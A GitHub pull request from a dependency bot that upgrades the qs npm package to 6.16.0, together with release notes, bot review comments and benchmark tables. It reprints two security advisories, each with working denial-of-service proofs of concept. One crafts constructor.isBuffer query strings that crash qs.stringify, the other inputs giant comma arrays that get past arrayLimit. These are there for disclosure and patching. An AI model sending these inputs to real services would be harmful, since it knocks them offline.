Update npm package `qs` to v6.16.0 [SECURITY] by hash-dependencies[bot] · Pull Request #9504 · hashintel/hash

hash-dependencies · 2026-09-02T15:24:55Z

This PR contains the following updates:

Package	Change	Age	Confidence
qs	`6.15.2` → `6.16.0`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

qs array-limit bypass via bracket-key comma parsing

CVE-2026-82562 / GHSA-x5fp-wj9c-mxmx

More information

Details

Summary

qs v6.15.3 allows bracket-key input to bypass arrayLimit and throwOnLimitExceeded when comma: true. The input a[]=1,2,3,4 succeeds with arrayLimit: 3, while the equivalent plain-key input is rejected.

Affected version tested:

qs v6.15.3
commit 18d085e919dae70c8f1b200ab99323058edab2c2

Details

parseArrayValue() enforces the comma limit only for flat values. The a[] form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.

PoC

const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

On v6.15.3, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent a=1,2,3,4 input throws RangeError as expected.

Impact

An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

ljharb/qs (qs)

`v6.16.0`

Compare Source

[New] stringify: add a depth option to bound recursion depth (default Infinity)
[Fix] stringify: serialize Date values when a filter is provided
[Fix] parse: enforce arrayLimit on comma groups under []= when throwOnLimitExceeded is set
[Fix] parse: flatten a collection appended to an overflowed array (#571)
[Fix] utils: isBuffer: do not invoke a non-callable constructor.isBuffer
[Fix] stringify: do not let allowEmptyArrays skip cycle detection (or drop own keys) on an empty array with own properties
[Fix] stringify: encode dots in a top-level key with a primitive value when encodeDotInKeys is set (#562)
[Docs] threat model: clarify stringify deep-nesting DoS is caller-bounded
[Docs] clarify arrayLimit is a representation threshold, not an element-count cap
[Tests] parse: remove a test that pinned []= comma groups escaping arrayLimit
[Tests] stringify: pin current encodeDotInKeys separator-dot behavior
[Dev Deps] update @ljharb/eslint-config, eslint
[Dev Deps] update eslint, evalmd

`v6.15.3`

Compare Source

[Fix] parse: enforce throwOnLimitExceeded for cumulative array growth via combine/merge
[Fix] utils: respect encoding of surrogate pairs across chunks (#559)
[Robustness] parse: throw the arrayLimit error before splitting oversized comma values
[Robustness] utils.merge / utils.assign: avoid invoking __proto__ setter when copying own properties
[Robustness] utils: enforce arrayLimit consistently across merge's array paths
[Perf] utils: make compact O(n) via a side-channel visited-set instead of Array.indexOf
[Deps] update side-channel
[Dev Deps] update eslint, mock-property, tape
[Tests] parse: characterize current lenient handling of unbalanced bracket keys (#558)

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

hash-dependencies · 2026-09-02T15:25:02Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

! Corepack is about to download https://repo.yarnpkg.com/4.16.0/packages/yarnpkg-cli/bin/yarn.js

vercel · 2026-09-02T15:25:03Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Updated
hash	Error	Sep 3, 2026 10:48pm UTC
hashdotdesign-tokens	Error	Sep 3, 2026 10:48pm UTC
petrinaut	Error	Sep 3, 2026 10:48pm UTC
petrinaut-docs	Error	Sep 3, 2026 10:48pm UTC

cursor · 2026-09-02T15:25:05Z

PR Summary

Low Risk
Single dependency resolution bump with no code changes; risk is limited to qs parse/stringify behavior in code paths that use those APIs with affected options.

Overview
Bumps the monorepo Yarn resolutions pin for qs from 6.15.2 to 6.16.0 so every workspace that pulls qs transitively gets the patched release. There are no application or library source changes—only dependency policy in package.json.

6.16.0 addresses reported DoS issues in query-string parse/stringify (unsafe constructor.isBuffer handling and arrayLimit bypass with bracket keys when comma: true). Review should confirm the lockfile/install reflects the new resolution after merge.

^{Reviewed by Cursor Bugbot for commit bb195e1. Bugbot is set up for automated code reviews on this repo. Configure here.}

cursor

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

^{Reviewed by Cursor Bugbot for commit 99a747a. Configure here.}

cursor · 2026-09-02T15:28:18Z

    "prosemirror-view@npm:^1.1.0": "patch:prosemirror-view@npm%3A1.29.1#~/.yarn/patches/prosemirror-view-npm-1.29.1-ff37db4eea.patch",
    "prosemirror-view@npm:^1.27.0": "patch:prosemirror-view@npm%3A1.29.1#~/.yarn/patches/prosemirror-view-npm-1.29.1-ff37db4eea.patch",
-    "qs": "6.15.2",
+    "qs": "6.16.0",


Lockfile still pins vulnerable qs

High Severity

The qs resolution is now 6.16.0, but yarn.lock still resolves qs to 6.15.2. CI runs yarn install --immutable, so the install fails, and until the lockfile is regenerated the CVEs this pin is meant to close stay in the tree. npmMinimalAgeGate: 7d can also block fetching 6.16.0 until it is a week old.

^{Reviewed by Cursor Bugbot for commit 99a747a. Configure here.}

codecov · 2026-09-02T15:29:29Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 60.89%. Comparing base (eea4e1f) to head (bb195e1).

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #9504   +/-   ##
=======================================
  Coverage   60.89%   60.89%           
=======================================
  Files        1461     1461           
  Lines      146725   146725           
  Branches     6744     6744           
=======================================
  Hits        89343    89343           
  Misses      56264    56264           
  Partials     1118     1118

Flag	Coverage Δ
apps.hash-graph	`13.32% <ø> (ø)`
blockprotocol.type-system	`38.15% <ø> (ø)`
local.claude-hooks	`0.00% <ø> (ø)`
local.harpc-client	`51.49% <ø> (ø)`
local.hash-graph-sdk	`10.02% <ø> (ø)`
rust.antsi	`2.36% <ø> (ø)`
rust.error-stack	`90.81% <ø> (ø)`
rust.harpc-codec	`84.70% <ø> (ø)`
rust.harpc-net	`96.21% <ø> (ø)`
rust.harpc-tower	`67.03% <ø> (ø)`
rust.harpc-types	`0.00% <ø> (ø)`
rust.harpc-wire-protocol	`92.23% <ø> (ø)`
rust.hash-codec	`72.76% <ø> (ø)`
rust.hash-config	`74.74% <ø> (ø)`
rust.hash-graph-api	`19.71% <ø> (ø)`
rust.hash-graph-authentication	`96.02% <ø> (ø)`
rust.hash-graph-authorization	`63.14% <ø> (ø)`
rust.hash-graph-embeddings	`91.88% <ø> (ø)`
rust.hash-graph-postgres-store	`32.15% <ø> (ø)`
rust.hash-graph-store	`48.41% <ø> (ø)`
rust.hash-graph-temporal-versioning	`50.18% <ø> (ø)`
rust.hash-graph-types	`0.00% <ø> (ø)`
rust.hash-graph-validation	`84.71% <ø> (ø)`
rust.hash-middleware	`90.92% <ø> (ø)`
rust.hashql-ast	`89.63% <ø> (ø)`
rust.hashql-compiletest	`28.39% <ø> (ø)`
rust.hashql-core	`78.95% <ø> (ø)`
rust.hashql-diagnostics	`72.51% <ø> (ø)`
rust.hashql-eval	`79.82% <ø> (ø)`
rust.hashql-hir	`89.09% <ø> (ø)`
rust.hashql-mir	`87.92% <ø> (ø)`
rust.hashql-syntax-jexpr	`94.04% <ø> (ø)`

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

codspeed-hq · 2026-09-02T15:33:25Z

Merging this PR will not alter performance

✅ 98 untouched benchmarks

_{Comparing deps/js/npm-qs-vulnerability (bb195e1) with main (eea4e1f)}

github-actions · 2026-09-03T23:49:28Z

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2002	$$20.7 \mathrm{ms} \pm 121 \mathrm{μs}\left({\color{gray}-0.501 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.42 \mathrm{ms} \pm 15.3 \mathrm{μs}\left({\color{gray}-0.722 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 1002	$$9.37 \mathrm{ms} \pm 47.2 \mathrm{μs}\left({\color{gray}-0.436 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 3314	$$29.8 \mathrm{ms} \pm 268 \mathrm{μs}\left({\color{gray}-1.600 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$9.54 \mathrm{ms} \pm 67.0 \mathrm{μs}\left({\color{gray}-1.445 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 1527	$$16.5 \mathrm{ms} \pm 85.2 \mathrm{μs}\left({\color{gray}-3.490 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 2078	$$21.3 \mathrm{ms} \pm 133 \mathrm{μs}\left({\color{gray}-3.288 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.67 \mathrm{ms} \pm 13.9 \mathrm{μs}\left({\color{gray}0.208 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 1033	$$10.1 \mathrm{ms} \pm 68.2 \mathrm{μs}\left({\color{gray}-1.708 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_medium

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 102	$$2.72 \mathrm{ms} \pm 20.0 \mathrm{μs}\left({\color{gray}0.946 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$2.12 \mathrm{ms} \pm 10.9 \mathrm{μs}\left({\color{gray}-0.192 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 52	$$2.38 \mathrm{ms} \pm 12.2 \mathrm{μs}\left({\color{gray}-0.324 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 269	$$3.74 \mathrm{ms} \pm 22.2 \mathrm{μs}\left({\color{gray}-1.097 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$2.50 \mathrm{ms} \pm 14.0 \mathrm{μs}\left({\color{gray}-0.428 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 108	$$2.94 \mathrm{ms} \pm 17.3 \mathrm{μs}\left({\color{gray}-0.466 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 133	$$3.17 \mathrm{ms} \pm 17.8 \mathrm{μs}\left({\color{gray}0.737 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.44 \mathrm{ms} \pm 11.1 \mathrm{μs}\left({\color{gray}-0.094 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 63	$$2.89 \mathrm{ms} \pm 13.4 \mathrm{μs}\left({\color{gray}0.002 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_none

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 2	$$1.83 \mathrm{ms} \pm 8.91 \mathrm{μs}\left({\color{gray}-3.060 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$1.77 \mathrm{ms} \pm 5.51 \mathrm{μs}\left({\color{gray}-0.856 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 2	$$1.84 \mathrm{ms} \pm 11.1 \mathrm{μs}\left({\color{gray}-2.841 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 8	$$2.00 \mathrm{ms} \pm 12.1 \mathrm{μs}\left({\color{gray}-2.439 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$1.86 \mathrm{ms} \pm 9.59 \mathrm{μs}\left({\color{gray}-2.949 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 3	$$1.99 \mathrm{ms} \pm 9.12 \mathrm{μs}\left({\color{gray}-2.820 \mathrm{\%}}\right) $$	Flame Graph

policy_resolution_small

Function	Value	Mean	Flame graphs
resolve_policies_for_actor	user: empty, selectivity: high, policies: 52	$$2.16 \mathrm{ms} \pm 15.0 \mathrm{μs}\left({\color{gray}1.11 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: low, policies: 1	$$1.95 \mathrm{ms} \pm 13.2 \mathrm{μs}\left({\color{gray}-0.231 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: empty, selectivity: medium, policies: 26	$$2.10 \mathrm{ms} \pm 12.2 \mathrm{μs}\left({\color{gray}-0.094 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: high, policies: 94	$$2.40 \mathrm{ms} \pm 11.4 \mathrm{μs}\left({\color{gray}-0.226 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: low, policies: 1	$$2.10 \mathrm{ms} \pm 13.6 \mathrm{μs}\left({\color{gray}-0.773 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: seeded, selectivity: medium, policies: 27	$$2.32 \mathrm{ms} \pm 13.8 \mathrm{μs}\left({\color{gray}0.496 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: high, policies: 66	$$2.38 \mathrm{ms} \pm 16.5 \mathrm{μs}\left({\color{gray}0.679 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: low, policies: 1	$$2.07 \mathrm{ms} \pm 11.8 \mathrm{μs}\left({\color{gray}-1.126 \mathrm{\%}}\right) $$	Flame Graph
resolve_policies_for_actor	user: system, selectivity: medium, policies: 29	$$2.35 \mathrm{ms} \pm 17.4 \mathrm{μs}\left({\color{gray}0.740 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_complete

Function	Value	Mean	Flame graphs
entity_by_id;one_depth	1 entities	$$31.7 \mathrm{ms} \pm 171 \mathrm{μs}\left({\color{gray}-2.168 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	10 entities	$$24.3 \mathrm{ms} \pm 107 \mathrm{μs}\left({\color{gray}-2.193 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	25 entities	$$26.4 \mathrm{ms} \pm 150 \mathrm{μs}\left({\color{gray}-1.970 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	5 entities	$$23.4 \mathrm{ms} \pm 100 \mathrm{μs}\left({\color{gray}-2.860 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;one_depth	50 entities	$$30.5 \mathrm{ms} \pm 156 \mathrm{μs}\left({\color{gray}-3.081 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	1 entities	$$37.1 \mathrm{ms} \pm 174 \mathrm{μs}\left({\color{gray}-0.862 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	10 entities	$$30.2 \mathrm{ms} \pm 210 \mathrm{μs}\left({\color{gray}0.245 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	25 entities	$$64.4 \mathrm{ms} \pm 470 \mathrm{μs}\left({\color{gray}-1.611 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	5 entities	$$25.0 \mathrm{ms} \pm 128 \mathrm{μs}\left({\color{lightgreen}-34.165 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;two_depth	50 entities	$$182 \mathrm{ms} \pm 618 \mathrm{μs}\left({\color{lightgreen}-8.620 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	1 entities	$$7.83 \mathrm{ms} \pm 45.7 \mathrm{μs}\left({\color{gray}0.053 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	10 entities	$$7.89 \mathrm{ms} \pm 50.5 \mathrm{μs}\left({\color{gray}0.771 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	25 entities	$$7.85 \mathrm{ms} \pm 38.2 \mathrm{μs}\left({\color{gray}-0.193 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	5 entities	$$7.71 \mathrm{ms} \pm 35.4 \mathrm{μs}\left({\color{gray}-0.847 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id;zero_depth	50 entities	$$7.79 \mathrm{ms} \pm 33.9 \mathrm{μs}\left({\color{gray}-1.766 \mathrm{\%}}\right) $$	Flame Graph

read_scaling_linkless

Function	Value	Mean	Flame graphs
entity_by_id	1 entities	$$7.78 \mathrm{ms} \pm 41.4 \mathrm{μs}\left({\color{gray}0.315 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10 entities	$$7.72 \mathrm{ms} \pm 40.0 \mathrm{μs}\left({\color{gray}-0.378 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	100 entities	$$7.75 \mathrm{ms} \pm 45.8 \mathrm{μs}\left({\color{gray}-0.090 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	1000 entities	$$7.78 \mathrm{ms} \pm 40.7 \mathrm{μs}\left({\color{gray}-0.791 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	10000 entities	$$8.17 \mathrm{ms} \pm 46.3 \mathrm{μs}\left({\color{gray}0.910 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity

Function	Value	Mean	Flame graphs
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/block/v/1`	$$8.03 \mathrm{ms} \pm 38.8 \mathrm{μs}\left({\color{gray}0.233 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/book/v/1`	$$8.14 \mathrm{ms} \pm 54.8 \mathrm{μs}\left({\color{gray}0.464 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/building/v/1`	$$7.98 \mathrm{ms} \pm 35.7 \mathrm{μs}\left({\color{gray}-1.308 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/organization/v/1`	$$8.04 \mathrm{ms} \pm 43.4 \mathrm{μs}\left({\color{gray}-0.234 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/page/v/2`	$$8.09 \mathrm{ms} \pm 46.8 \mathrm{μs}\left({\color{gray}-0.905 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/person/v/1`	$$8.14 \mathrm{ms} \pm 47.6 \mathrm{μs}\left({\color{gray}1.11 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/playlist/v/1`	$$8.00 \mathrm{ms} \pm 37.9 \mathrm{μs}\left({\color{gray}-0.039 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/song/v/1`	$$8.05 \mathrm{ms} \pm 50.1 \mathrm{μs}\left({\color{gray}-0.274 \mathrm{\%}}\right) $$	Flame Graph
entity_by_id	entity type ID: `https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1`	$$8.06 \mathrm{ms} \pm 40.1 \mathrm{μs}\left({\color{gray}-0.038 \mathrm{\%}}\right) $$	Flame Graph

representative_read_entity_type

Function	Value	Mean	Flame graphs
get_entity_type_by_id	Account ID: `bf5a9ef5-dc3b-43cf-a291-6210c0321eba`	$$5.98 \mathrm{ms} \pm 32.9 \mathrm{μs}\left({\color{gray}-0.147 \mathrm{\%}}\right) $$	Flame Graph

representative_read_multiple_entities

Function	Value	Mean	Flame graphs
entity_by_property	traversal_paths=0	0	$$41.3 \mathrm{ms} \pm 235 \mathrm{μs}\left({\color{gray}-0.781 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$82.1 \mathrm{ms} \pm 505 \mathrm{μs}\left({\color{gray}0.607 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$48.6 \mathrm{ms} \pm 259 \mathrm{μs}\left({\color{gray}3.89 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$56.6 \mathrm{ms} \pm 413 \mathrm{μs}\left({\color{gray}2.42 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$63.0 \mathrm{ms} \pm 393 \mathrm{μs}\left({\color{gray}2.36 \mathrm{\%}}\right) $$
entity_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$66.9 \mathrm{ms} \pm 346 \mathrm{μs}\left({\color{gray}2.74 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=0	0	$$31.3 \mathrm{ms} \pm 193 \mathrm{μs}\left({\color{gray}0.198 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=255	1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true	$$52.6 \mathrm{ms} \pm 345 \mathrm{μs}\left({\color{gray}-1.478 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false	$$36.0 \mathrm{ms} \pm 200 \mathrm{μs}\left({\color{gray}0.909 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true	$$42.7 \mathrm{ms} \pm 191 \mathrm{μs}\left({\color{gray}-1.206 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true	$$44.3 \mathrm{ms} \pm 206 \mathrm{μs}\left({\color{gray}-1.406 \mathrm{\%}}\right) $$
link_by_source_by_property	traversal_paths=2	1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true	$$44.4 \mathrm{ms} \pm 211 \mathrm{μs}\left({\color{gray}-0.690 \mathrm{\%}}\right) $$

scenarios

Function	Value	Mean	Flame graphs
full_test	query-limited	$$87.7 \mathrm{ms} \pm 338 \mathrm{μs}\left({\color{lightgreen}-9.335 \mathrm{\%}}\right) $$	Flame Graph
full_test	query-unlimited	$$99.3 \mathrm{ms} \pm 499 \mathrm{μs}\left({\color{gray}-3.939 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-limited	$$16.9 \mathrm{ms} \pm 107 \mathrm{μs}\left({\color{red}23.8 \mathrm{\%}}\right) $$	Flame Graph
linked_queries	query-unlimited	$$398 \mathrm{ms} \pm 1.14 \mathrm{ms}\left({\color{gray}-1.945 \mathrm{\%}}\right) $$	Flame Graph

hash-dependencies Bot requested a review from a team as a code owner September 2, 2026 15:24

hash-dependencies Bot enabled auto-merge September 2, 2026 15:24

hash-dependencies Bot assigned CiaranMn Sep 2, 2026

